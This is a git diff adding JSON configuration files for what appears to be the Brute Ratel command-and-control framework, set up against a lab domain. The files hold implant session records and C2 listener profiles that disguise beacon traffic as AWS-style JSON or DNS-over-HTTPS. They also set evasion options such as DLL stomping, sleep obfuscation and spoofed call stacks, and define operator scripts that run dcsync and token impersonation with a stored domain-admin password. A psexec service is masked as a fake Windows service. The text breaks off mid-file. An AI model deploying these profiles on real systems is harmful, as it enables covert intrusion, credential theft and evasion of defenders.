initial commit
This commit is contained in:
i2p
@@ -0,0 +1,8 @@
|
||||
{
|
||||
"autoruns": [
|
||||
"sleep 0",
|
||||
"set_child werfault.exe",
|
||||
"pwd",
|
||||
"userinfo"
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
{
|
||||
"b-0": {
|
||||
"b_arch": "x64",
|
||||
"b_bld": "19045",
|
||||
"b_c2": "https://172.16.219.1:443",
|
||||
"b_c2_id": "primary-c2",
|
||||
"b_cookie": "4DQM32BK343DTOLHC0VCELS2GL4NG1IV",
|
||||
"b_h_name": "DESKTOP-G15FRLS",
|
||||
"b_ip": "192.16.219.145",
|
||||
"b_l_ip": "172.16.219.1",
|
||||
"b_p_name": "Z:\\docs\\loader\\badger.exe",
|
||||
"b_pid": "880",
|
||||
"b_seen": "06-20-2024 06:24:32",
|
||||
"b_tid": "5016",
|
||||
"b_uid": "vendetta",
|
||||
"b_wver": "x64/10.0",
|
||||
"b_type": "",
|
||||
"dead": false,
|
||||
"is_pvt": false,
|
||||
"pipeline": "Direct",
|
||||
"pvt_master": ""
|
||||
},
|
||||
"b-2": {
|
||||
"b_arch": "x64",
|
||||
"b_bld": "19045",
|
||||
"b_c2": "https://172.16.219.1:443",
|
||||
"b_c2_id": "primary-c2",
|
||||
"b_cookie": "678BDLSA7TGNSFJ7PNJSJCE22BFPM6B1",
|
||||
"b_h_name": "DESKTOP-G15FRLS",
|
||||
"b_ip": "192.16.219.145",
|
||||
"b_l_ip": "172.16.219.1",
|
||||
"b_p_name": "Z:\\docs\\loader\\badger.exe",
|
||||
"b_pid": "4620",
|
||||
"b_seen": "06-20-2024 06:24:32",
|
||||
"b_tid": "9760",
|
||||
"b_uid": "vendetta",
|
||||
"b_wver": "x64/10.0",
|
||||
"b_type": "",
|
||||
"dead": false,
|
||||
"is_pvt": false,
|
||||
"pipeline": "Direct",
|
||||
"pvt_master": ""
|
||||
},
|
||||
"b-3": {
|
||||
"b_arch": "x64",
|
||||
"b_bld": "19045",
|
||||
"b_c2": "https://172.16.219.1:443",
|
||||
"b_c2_id": "primary-c2",
|
||||
"b_cookie": "L0JPER2MVEKS5C3TESV2TOC61TUKAP8C",
|
||||
"b_h_name": "DESKTOP-G15FRLS",
|
||||
"b_ip": "192.16.219.145",
|
||||
"b_l_ip": "172.16.219.1",
|
||||
"b_p_name": "Z:\\docs\\loader\\badger.exe",
|
||||
"b_pid": "1956",
|
||||
"b_seen": "06-20-2024 06:24:32",
|
||||
"b_tid": "3680",
|
||||
"b_uid": "vendetta",
|
||||
"b_wver": "x64/10.0",
|
||||
"b_type": "min",
|
||||
"dead": false,
|
||||
"is_pvt": false,
|
||||
"pipeline": "Direct",
|
||||
"pvt_master": ""
|
||||
},
|
||||
"b-4": {
|
||||
"b_arch": "x64",
|
||||
"b_bld": "19045",
|
||||
"b_c2": "https://172.16.219.1:443",
|
||||
"b_c2_id": "primary-c2",
|
||||
"b_cookie": "BQ93KOJJUJFNKNP71BDQNM8O0M2Q9ML6",
|
||||
"b_h_name": "DESKTOP-G15FRLS",
|
||||
"b_ip": "192.16.219.145",
|
||||
"b_l_ip": "172.16.219.1",
|
||||
"b_p_name": "Z:\\docs\\loader\\badger.exe",
|
||||
"b_pid": "7800",
|
||||
"b_seen": "06-20-2024 06:24:31",
|
||||
"b_tid": "1104",
|
||||
"b_uid": "vendetta",
|
||||
"b_wver": "x64/10.0",
|
||||
"b_type": "",
|
||||
"dead": false,
|
||||
"is_pvt": false,
|
||||
"pipeline": "Direct",
|
||||
"pvt_master": ""
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
{
|
||||
"admin_list": {
|
||||
"admin": "password"
|
||||
},
|
||||
"user_list": {
|
||||
"ratel": "ratel"
|
||||
},
|
||||
"validate_useragent": true,
|
||||
"file_upload_chunk": 4194304,
|
||||
"c2_handler": "0.0.0.0:8443",
|
||||
"comm_enc_key": "test@123",
|
||||
"credentials": [
|
||||
{
|
||||
"creddomain": "darkvortex.corp",
|
||||
"crednote": "Domain Admin Password",
|
||||
"credpass": "admin@123",
|
||||
"creduser": "administrator"
|
||||
}
|
||||
],
|
||||
"listeners": {
|
||||
"primary-c2": {
|
||||
"append": "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}",
|
||||
"append_response": "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}",
|
||||
"auth_count": 1,
|
||||
"auth_type": false,
|
||||
"c2_authkeys": [
|
||||
"abcd@123"
|
||||
],
|
||||
"c2_uri": [
|
||||
"en/ec2/pricing",
|
||||
"locale=en"
|
||||
],
|
||||
"die_offline": false,
|
||||
"empty_response": "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n",
|
||||
"request_headers": {
|
||||
"Content-Type": "application/json",
|
||||
"Referer": "microsoft.com"
|
||||
},
|
||||
"response_headers": {
|
||||
"Server": "Apache/2.2.14 (Win32)",
|
||||
"X-Backend-Server": "developer2.webapp.scl3.mozilla.com",
|
||||
"X-Cache-Info": "not cacheable; meta data too large"
|
||||
},
|
||||
"host": "172.16.219.1",
|
||||
"is_random": true,
|
||||
"os_type": "windows",
|
||||
"port": "443",
|
||||
"prepend": "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \"",
|
||||
"prepend_response": "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"",
|
||||
"rotational_host": "172.16.219.1",
|
||||
"ssl": true,
|
||||
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
|
||||
"sleep": 1,
|
||||
"delay_exec": 0,
|
||||
"jitter": 0,
|
||||
"stomp": "chakra.dll",
|
||||
"obfsleep": "APC",
|
||||
"data_encoding": "Base64",
|
||||
"entrypoint": "user32.dll!DwmGetDxSharedSurface",
|
||||
"entrypoint_offset": "0x1c",
|
||||
"exec_method": "APC",
|
||||
"rop_dll": "shcore.dll",
|
||||
"stack_chain": "user32.dll!GetMessageW+0x2E,SHCore.dll!SHTaskPoolQueueTask+0x1c81,user32.dll!DwmGetDxSharedSurface+0xe1",
|
||||
"killdate": "01 Dec 24 00:00 IST",
|
||||
"key_strategy_type": "hostname",
|
||||
"key_strategy_value": "DESKTOP-G15FRLS"
|
||||
}
|
||||
},
|
||||
"payload_config": {
|
||||
"python-c2": {
|
||||
"append": "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}",
|
||||
"append_response": "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}",
|
||||
"c2_auth": "abcd@123",
|
||||
"c2_uri": [
|
||||
"en/ec2/pricing",
|
||||
"locale=en"
|
||||
],
|
||||
"data_encoding": "Base64",
|
||||
"delay_exec": 0,
|
||||
"die_offline": false,
|
||||
"empty_response": "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n",
|
||||
"entrypoint": "user32.dll!DwmGetDxSharedSurface",
|
||||
"entrypoint_offset": "0x1c",
|
||||
"exec_method": "Thread-0",
|
||||
"host": "172.16.219.1",
|
||||
"jitter": 0,
|
||||
"key_strategy_type": "hostname",
|
||||
"key_strategy_value": "DESKTOP-G15FRLS",
|
||||
"killdate": "01 Dec 24 00:00 IST",
|
||||
"obfsleep": "APC",
|
||||
"port": "10443",
|
||||
"mutate_data_method": "COFF",
|
||||
"mutate_data_file": "/media/veracrypt1/brute-ratel/ratel-war-room/releases/adhoc_scripts/mutate_data_sample/modify_http.o",
|
||||
"prepend": "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \"",
|
||||
"prepend_response": "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"",
|
||||
"request_headers": {
|
||||
"Content-Type": "application/json",
|
||||
"Referer": "microsoft.com"
|
||||
},
|
||||
"rop_dll": "shcore.dll",
|
||||
"sleep": 1,
|
||||
"ssl": true,
|
||||
"stack_chain": "user32.dll!GetMessageW+0x2E,SHCore.dll!SHTaskPoolQueueTask+0x1c81,user32.dll!DwmGetDxSharedSurface+0xe1",
|
||||
"stomp": "chakra.dll",
|
||||
"type": "HTTP",
|
||||
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36"
|
||||
},
|
||||
"smb": {
|
||||
"c2_auth": "abcd@123",
|
||||
"smb_pipe": "\\\\.\\pipe\\mynamedpipe",
|
||||
"type": "SMB",
|
||||
"stomp": "chakra.dll",
|
||||
"obfsleep": "APC",
|
||||
"key_strategy_type": "hostname",
|
||||
"key_strategy_value": "DESKTOP-G15FRLS",
|
||||
"sleep": 1,
|
||||
"jitter": 0,
|
||||
"delay_exec": 0,
|
||||
"rop_dll": "shcore.dll",
|
||||
"stack_chain": "win32u.dll!NtUserGetMessage+0x14,user32.dll!GetMessageW+0x2e,combase.dll!CoDisconnectContext+0xb08,combase.dll!CoDisconnectContext+0xa40,combase.dll!CoRevokeInitializeSpy+0x1100,combase.dll!CoRevokeInitializeSpy+0x1089",
|
||||
"killdate": "01 Dec 24 00:00 IST"
|
||||
},
|
||||
"tcp": {
|
||||
"c2_auth": "abcd@123",
|
||||
"host": "127.0.0.1",
|
||||
"port": "10000",
|
||||
"type": "TCP",
|
||||
"stomp": "chakra.dll",
|
||||
"obfsleep": "Pooling-1",
|
||||
"key_strategy_type": "hostname",
|
||||
"key_strategy_value": "DESKTOP-G15FRLS",
|
||||
"sleep": 1,
|
||||
"jitter": 0,
|
||||
"delay_exec": 0,
|
||||
"rop_dll": "shcore.dll",
|
||||
"stack_chain": "user32.dll!GetMessageW+0x2E,SHCore.dll!SHTaskPoolQueueTask+0x1c81,user32.dll!DwmGetDxSharedSurface+0xe1",
|
||||
"killdate": "01 Dec 24 00:00 IST"
|
||||
}
|
||||
},
|
||||
"ssl_cert": "cert.pem",
|
||||
"ssl_key": "key.pem"
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
{
|
||||
"click_script": {
|
||||
"wmiexec": [
|
||||
"wmiexec notepad",
|
||||
"wmiexec explorer",
|
||||
"wmiexec cmd"
|
||||
],
|
||||
"wmiquery": [
|
||||
"wmiquery select * from win32_operatingsystem",
|
||||
"wmiquery select * from win32_process",
|
||||
"wmiquery select * from win32_service",
|
||||
"wmiquery select * from win32_networkadapter"
|
||||
],
|
||||
"wmiquery-creds": [
|
||||
"set_wmiconfig root\\SecurityCenter2",
|
||||
"wmiquery select * from AntiVirusProduct",
|
||||
"reset_wmiconfig"
|
||||
],
|
||||
"psreflect": [
|
||||
"set_child werfault.exe",
|
||||
"psreflect echo $psversiontable",
|
||||
"psreflect Get-WMIObject -query \"select * from win32_operatingsystem\""
|
||||
],
|
||||
"run": [
|
||||
"run cmd /c wmic bios get Manufacturer,Name,Version",
|
||||
"run ipconfig"
|
||||
],
|
||||
"schtasks": [
|
||||
"schtquery",
|
||||
"make_token network darkvortex.corp administrator admin@123",
|
||||
"schtquery vortexdc full",
|
||||
"revtoken"
|
||||
],
|
||||
"dcsync-token": [
|
||||
"make_token network darkvortex.corp administrator admin@123",
|
||||
"dcsync",
|
||||
"dcsync vendetta",
|
||||
"revtoken"
|
||||
],
|
||||
"ldap-sentinel": [
|
||||
"objectClass=user",
|
||||
"sentinel domain (&(objectClass=user)(objectCategory=person)(servicePrincipalName=*))"
|
||||
],
|
||||
"sharp-reflection": [
|
||||
"monologue",
|
||||
"seatbelt"
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
{
|
||||
"register_obj": {
|
||||
"boftest64": {
|
||||
"arch": "x64",
|
||||
"file_path": "server_confs/bofs/obj/decltest64.o",
|
||||
"description": "Sample BOF file to show x64 capabilities",
|
||||
"artifact": "WINAPI",
|
||||
"mainArgs": "NA",
|
||||
"optionalArg": "NA",
|
||||
"example": "decltest64",
|
||||
"minimumArgCount": 1
|
||||
},
|
||||
"boftest86": {
|
||||
"arch": "x86",
|
||||
"file_path": "server_confs/bofs/obj/decltest86.o",
|
||||
"description": "Sample BOF file to show x86 capabilities",
|
||||
"artifact": "WINAPI",
|
||||
"mainArgs": "NA",
|
||||
"optionalArg": "NA",
|
||||
"example": "decltest86",
|
||||
"minimumArgCount": 1
|
||||
}
|
||||
},
|
||||
"register_pe": {
|
||||
"seatbelt": {
|
||||
"file_path": "server_confs/sample_profile_pe/Seatbelt.exe",
|
||||
"description": "Runs Seatbelt C# executable",
|
||||
"artifact": "WINAPI",
|
||||
"mainArgs": "NA",
|
||||
"optionalArg": "NA",
|
||||
"example": "seatbelt",
|
||||
"minimumArgCount": 1
|
||||
}
|
||||
},
|
||||
"register_pe_inline": {
|
||||
"monologue": {
|
||||
"file_path": "server_confs/sample_profile_pe/InternalMonologue.exe",
|
||||
"description": "Runs InternalMonologue C# executable",
|
||||
"artifact": "WINAPI",
|
||||
"mainArgs": "NA",
|
||||
"optionalArg": "NA",
|
||||
"example": "monologue",
|
||||
"minimumArgCount": 1
|
||||
}
|
||||
},
|
||||
"register_exe": {
|
||||
"handles": {
|
||||
"arch" : "x64",
|
||||
"file_path": "server_confs/sample_profile_pe/handle64.exe",
|
||||
"description": "Lists all handles from all processes. Uses sysinternal's handle64.exe executable to run in memory",
|
||||
"artifact": "WINAPI",
|
||||
"mainArgs": "NA",
|
||||
"optionalArg": "NA",
|
||||
"example": "handles",
|
||||
"minimumArgCount": 1
|
||||
}
|
||||
},
|
||||
"register_dll": {
|
||||
"boxreflect": {
|
||||
"arch": "x64",
|
||||
"file_path": "server_confs/sample_profile_pe/boxreflect.dll",
|
||||
"description": "Loads a test reflective dll message box",
|
||||
"artifact": "WINAPI",
|
||||
"mainArgs": "NA",
|
||||
"optionalArg": "NA",
|
||||
"example": "boxcheck",
|
||||
"minimumArgCount": 1,
|
||||
"replace_str": {
|
||||
"boxit": "\\x00\\x00\\x00\\x00\\x00",
|
||||
"!This program cannot ": "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00",
|
||||
"be run in DOS mode.": "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
|
||||
}
|
||||
}
|
||||
},
|
||||
"register_psexec": {
|
||||
"x64": "/home/paranoidninja/Documents/BadgerSvc64.exe",
|
||||
"x86": "/home/paranoidninja/Documents/BadgerSvc86.exe"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
{
|
||||
"admin_list": {
|
||||
"admin": "password"
|
||||
},
|
||||
"validate_useragent": true,
|
||||
"c2_handler": "0.0.0.0:8443",
|
||||
"comm_enc_key": "test@123",
|
||||
"listeners": {
|
||||
"doh-c2": {
|
||||
"auth_count": 1,
|
||||
"auth_type": false,
|
||||
"c2_authkeys": [
|
||||
"abcd@123"
|
||||
],
|
||||
"c2_uri": [
|
||||
"dns-query"
|
||||
],
|
||||
"request_headers": {
|
||||
"Content-Type": "application/dns-message"
|
||||
},
|
||||
"checkinA": "8.8.8.8",
|
||||
"die_offline": false,
|
||||
"dnshost": "dns1.evasion-labs.com,dns2.evasion-labs.com",
|
||||
"rotational_host": "dns.google",
|
||||
"host": "172.31.47.169",
|
||||
"idleA": "8.8.4.4",
|
||||
"spoofTxt": "google-site-verification=wD8N7i1JTNTkezJ49swvWW48f8_9xveREV4oB-0Hf5o",
|
||||
"is_random": true,
|
||||
"os_type": "windows",
|
||||
"port": "53",
|
||||
"ssl": true,
|
||||
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
|
||||
"obfsleep": "Pooling-0",
|
||||
"stomp": "chakra.dll",
|
||||
"sleep": 1,
|
||||
"rop_dll": "shcore.dll",
|
||||
"entrypoint": "ntdll!TpReleaseCleanupGroupMembers",
|
||||
"entrypoint_offset": "0x450",
|
||||
"stack_chain": "win32u.dll!NtUserMsgWaitForMultipleObjectsEx+0x14,user32.dll!MsgWaitForMultipleObjectsEx+0x9e,SHCore.dll!SHTaskPoolQueueTask+0x1c81,user32.dll!DwmGetDxSharedSurface+0xe1",
|
||||
"jitter": 0,
|
||||
"delay_exec": 0,
|
||||
"dns_interval": 100,
|
||||
"key_strategy_type": "hostname",
|
||||
"key_strategy_value": "DESKTOP-G15FRLS",
|
||||
"killdate": "31 Dec 24 12:45 IST"
|
||||
}
|
||||
},
|
||||
"ssl_cert": "cert.pem",
|
||||
"ssl_key": "key.pem"
|
||||
}
|
||||
@@ -0,0 +1,296 @@
|
||||
{
|
||||
"admin_list": {
|
||||
"admin": "password"
|
||||
},
|
||||
"click_script": {
|
||||
"wmiexec": [
|
||||
"wmiexec notepad",
|
||||
"wmiexec explorer",
|
||||
"wmiexec cmd"
|
||||
],
|
||||
"wmiquery": [
|
||||
"wmiquery select * from win32_operatingsystem",
|
||||
"wmiquery select * from win32_process",
|
||||
"wmiquery select * from win32_service",
|
||||
"wmiquery select * from win32_networkadapter"
|
||||
],
|
||||
"wmiquery-creds": [
|
||||
"set_wmiconfig root\\SecurityCenter2",
|
||||
"wmiquery select * from AntiVirusProduct",
|
||||
"reset_wmiconfig"
|
||||
],
|
||||
"psreflect": [
|
||||
"set_child werfault.exe",
|
||||
"psreflect echo $psversiontable",
|
||||
"psreflect Get-WMIObject -query \"select * from win32_operatingsystem\""
|
||||
],
|
||||
"run": [
|
||||
"run cmd /c wmic bios get Manufacturer,Name,Version",
|
||||
"run ipconfig"
|
||||
],
|
||||
"schtasks": [
|
||||
"schtquery",
|
||||
"make_token network darkvortex.corp administrator admin@123",
|
||||
"schtquery vortexdc full",
|
||||
"revtoken"
|
||||
],
|
||||
"dcsync-token": [
|
||||
"make_token network darkvortex.corp administrator admin@123",
|
||||
"dcsync",
|
||||
"dcsync vendetta",
|
||||
"revtoken"
|
||||
],
|
||||
"ldap-sentinel": [
|
||||
"objectClass=user",
|
||||
"sentinel domain (&(objectClass=user)(objectCategory=person)(servicePrincipalName=*))"
|
||||
],
|
||||
"sharp-reflection": [
|
||||
"monologue",
|
||||
"seatbelt"
|
||||
]
|
||||
},
|
||||
"autoruns": [
|
||||
"sleep 0"
|
||||
],
|
||||
"c2_handler": "0.0.0.0:8443",
|
||||
"comm_enc_key": "WeiJeeWeiCufae2y",
|
||||
"credentials": [
|
||||
{
|
||||
"creddomain": "darkvortex.corp",
|
||||
"crednote": "Domain Admin Password",
|
||||
"credpass": "admin@123",
|
||||
"creduser": "administrator"
|
||||
}
|
||||
],
|
||||
"listeners": {
|
||||
"primary-c2": {
|
||||
"append": "\"}",
|
||||
"append_response": "\"}",
|
||||
"auth_count": 1,
|
||||
"auth_type": false,
|
||||
"c2_authkeys": [
|
||||
"abcd@123"
|
||||
],
|
||||
"c2_uri": [
|
||||
"en/ec2/pricing",
|
||||
"locale=en"
|
||||
],
|
||||
"die_offline": false,
|
||||
"empty_response": "{\"Info\":\"Ok\"}",
|
||||
"request_headers": {
|
||||
"content-type": "application/json",
|
||||
"referrer": "microsoft.com"
|
||||
},
|
||||
"response_headers": {
|
||||
"Server": "Apache/2.2.14 (Win32)",
|
||||
"X-Backend-Server": "developer2.webapp.scl3.mozilla.com",
|
||||
"X-Cache-Info": "not cacheable; meta data too large"
|
||||
},
|
||||
"host": "172.16.219.1",
|
||||
"is_random": true,
|
||||
"os_type": "windows",
|
||||
"port": "443",
|
||||
"prepend": "{\"channel\":\"",
|
||||
"prepend_response": "{\"Output\":\"",
|
||||
"rotational_host": "172.16.219.1",
|
||||
"ssl": true,
|
||||
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
|
||||
"stomp": "chakra.dll",
|
||||
"sleep": 1,
|
||||
"jitter": 0,
|
||||
"delay_exec": 200,
|
||||
"obfsleep": "APC",
|
||||
"data_encoding": "Base64",
|
||||
"fallback": "fallback-c2",
|
||||
"fallback_counter": 10,
|
||||
"key_strategy_type": "hostname",
|
||||
"key_strategy_value": "DESKTOP-G15FRLS",
|
||||
"killdate": "30 Jan 24 12:45 IST"
|
||||
},
|
||||
"fallback-c2": {
|
||||
"append": "\"}",
|
||||
"append_response": "\"}",
|
||||
"auth_count": 1,
|
||||
"auth_type": false,
|
||||
"c2_authkeys": [
|
||||
"password"
|
||||
],
|
||||
"c2_uri": [
|
||||
"test.asp"
|
||||
],
|
||||
"die_offline": false,
|
||||
"empty_response": "{\"HTTP\":\"OK\"}",
|
||||
"request_headers": {
|
||||
"content-type": "application/octet",
|
||||
"referrer": "google.com"
|
||||
},
|
||||
"response_headers": {
|
||||
"X-Backend-Server": "developer1.sec3912.scl3.mozilla.com",
|
||||
"X-Cache-Info": "not cacheable; meta data too large"
|
||||
},
|
||||
"host": "172.16.219.1",
|
||||
"is_random": true,
|
||||
"os_type": "windows",
|
||||
"port": "80",
|
||||
"prepend": "{\"cookie\":\"",
|
||||
"prepend_response": "{\"blob\":\"",
|
||||
"rotational_host": "172.16.219.1",
|
||||
"ssl": true,
|
||||
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
|
||||
"sleep": 1,
|
||||
"jitter": 0,
|
||||
"obfsleep": "Pooling-0",
|
||||
"data_encoding": "Base64",
|
||||
"key_strategy_type": "hostname",
|
||||
"key_strategy_value": "DESKTOP-G15FRLS",
|
||||
"killdate": "30 Jan 24 12:45 IST"
|
||||
}
|
||||
},
|
||||
"payload_config": {
|
||||
"fallback-c2": {
|
||||
"append": "\"}",
|
||||
"append_response": "\"}",
|
||||
"auth_count": 1,
|
||||
"auth_type": false,
|
||||
"c2_authkeys": [
|
||||
"password"
|
||||
],
|
||||
"c2_uri": [
|
||||
"test.asp"
|
||||
],
|
||||
"die_offline": false,
|
||||
"empty_response": "{\"HTTP\":\"OK\"}",
|
||||
"request_headers": {
|
||||
"content-type": "application/octet",
|
||||
"referrer": "google.com"
|
||||
},
|
||||
"response_headers": {
|
||||
"X-Backend-Server": "developer1.sec3912.scl3.mozilla.com",
|
||||
"X-Cache-Info": "not cacheable; meta data too large"
|
||||
},
|
||||
"host": "172.16.219.1",
|
||||
"is_random": true,
|
||||
"os_type": "windows",
|
||||
"port": "80",
|
||||
"prepend": "{\"cookie\":\"",
|
||||
"prepend_response": "{\"blob\":\"",
|
||||
"rotational_host": "172.16.219.1",
|
||||
"ssl": true,
|
||||
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
|
||||
"sleep": 1,
|
||||
"jitter": 0,
|
||||
"obfsleep": "Pooling-0",
|
||||
"data_encoding": "Base64",
|
||||
"key_strategy_type": "hostname",
|
||||
"key_strategy_value": "DESKTOP-G15FRLS",
|
||||
"killdate": "30 Jan 24 12:45 IST"
|
||||
},
|
||||
"smb": {
|
||||
"c2_auth": "abcd@123",
|
||||
"smb_pipe": "\\\\.\\pipe\\mynamedpipe",
|
||||
"type": "SMB",
|
||||
"stomp": "chakra.dll",
|
||||
"obfsleep": "APC",
|
||||
"key_strategy_type": "hostname",
|
||||
"key_strategy_value": "DESKTOP-G15FRLS",
|
||||
"killdate": "30 Jan 24 12:45 IST"
|
||||
},
|
||||
"tcp": {
|
||||
"c2_auth": "abcd@123",
|
||||
"host": "127.0.0.1",
|
||||
"port": "10000",
|
||||
"type": "TCP",
|
||||
"stomp": "chakra.dll",
|
||||
"obfsleep": "Pooling-1",
|
||||
"key_strategy_type": "hostname",
|
||||
"key_strategy_value": "DESKTOP-G15FRLS",
|
||||
"killdate": "30 Jan 24 12:45 IST"
|
||||
}
|
||||
},
|
||||
"psexec_config": {
|
||||
"psexec_svc_desc": "Manages universal application core process that in Windows 8 and continues in Windows 10. It is used to determine whether universal apps installed from the Windows Store are declaring all of their permissions, like being able to access your telemetry, location or microphone. It helps to transact records of your universal apps with the trust and privacy settings of user.",
|
||||
"psexec_svc_name": "TransactionBrokerService"
|
||||
},
|
||||
"ssl_cert": "cert.pem",
|
||||
"ssl_key": "key.pem",
|
||||
"webhook_listener": {
|
||||
"primary-c2": {
|
||||
"badger_init": false,
|
||||
"badger_log": false,
|
||||
"webhook_host": "https://localhost:9443"
|
||||
}
|
||||
},
|
||||
"register_obj": {
|
||||
"boftest64": {
|
||||
"arch": "x64",
|
||||
"file_path": "server_confs/bofs/obj/decltest64.o",
|
||||
"description": "Sample BOF file to show x64 capabilities",
|
||||
"artifact": "WINAPI",
|
||||
"mainArgs": "NA",
|
||||
"optionalArg": "NA",
|
||||
"example": "decltest64",
|
||||
"minimumArgCount": 1
|
||||
},
|
||||
"boftest86": {
|
||||
"arch": "x86",
|
||||
"file_path": "server_confs/bofs/obj/decltest86.o",
|
||||
"description": "Sample BOF file to show x86 capabilities",
|
||||
"artifact": "WINAPI",
|
||||
"mainArgs": "NA",
|
||||
"optionalArg": "NA",
|
||||
"example": "decltest86",
|
||||
"minimumArgCount": 1
|
||||
}
|
||||
},
|
||||
"register_pe": {
|
||||
"seatbelt": {
|
||||
"file_path": "server_confs/sample_profile_pe/Seatbelt.exe",
|
||||
"description": "Runs Seatbelt C# executable",
|
||||
"artifact": "WINAPI",
|
||||
"mainArgs": "NA",
|
||||
"optionalArg": "NA",
|
||||
"example": "seatbelt",
|
||||
"minimumArgCount": 1
|
||||
}
|
||||
},
|
||||
"register_pe_inline": {
|
||||
"monologue": {
|
||||
"file_path": "server_confs/sample_profile_pe/InternalMonologue.exe",
|
||||
"description": "Runs InternalMonologue C# executable",
|
||||
"artifact": "WINAPI",
|
||||
"mainArgs": "NA",
|
||||
"optionalArg": "NA",
|
||||
"example": "monologue",
|
||||
"minimumArgCount": 1
|
||||
}
|
||||
},
|
||||
"register_exe": {
|
||||
"handles": {
|
||||
"arch" : "x64",
|
||||
"file_path": "server_confs/sample_profile_pe/handle64.exe",
|
||||
"description": "Lists all handles from all processes. Uses sysinternal's handle64.exe executable to run in memory",
|
||||
"artifact": "WINAPI",
|
||||
"mainArgs": "NA",
|
||||
"optionalArg": "NA",
|
||||
"example": "handles",
|
||||
"minimumArgCount": 1
|
||||
}
|
||||
},
|
||||
"register_dll": {
|
||||
"boxreflect": {
|
||||
"arch": "x64",
|
||||
"file_path": "server_confs/sample_profile_pe/boxreflect.dll",
|
||||
"description": "Loads a test reflective dll message box",
|
||||
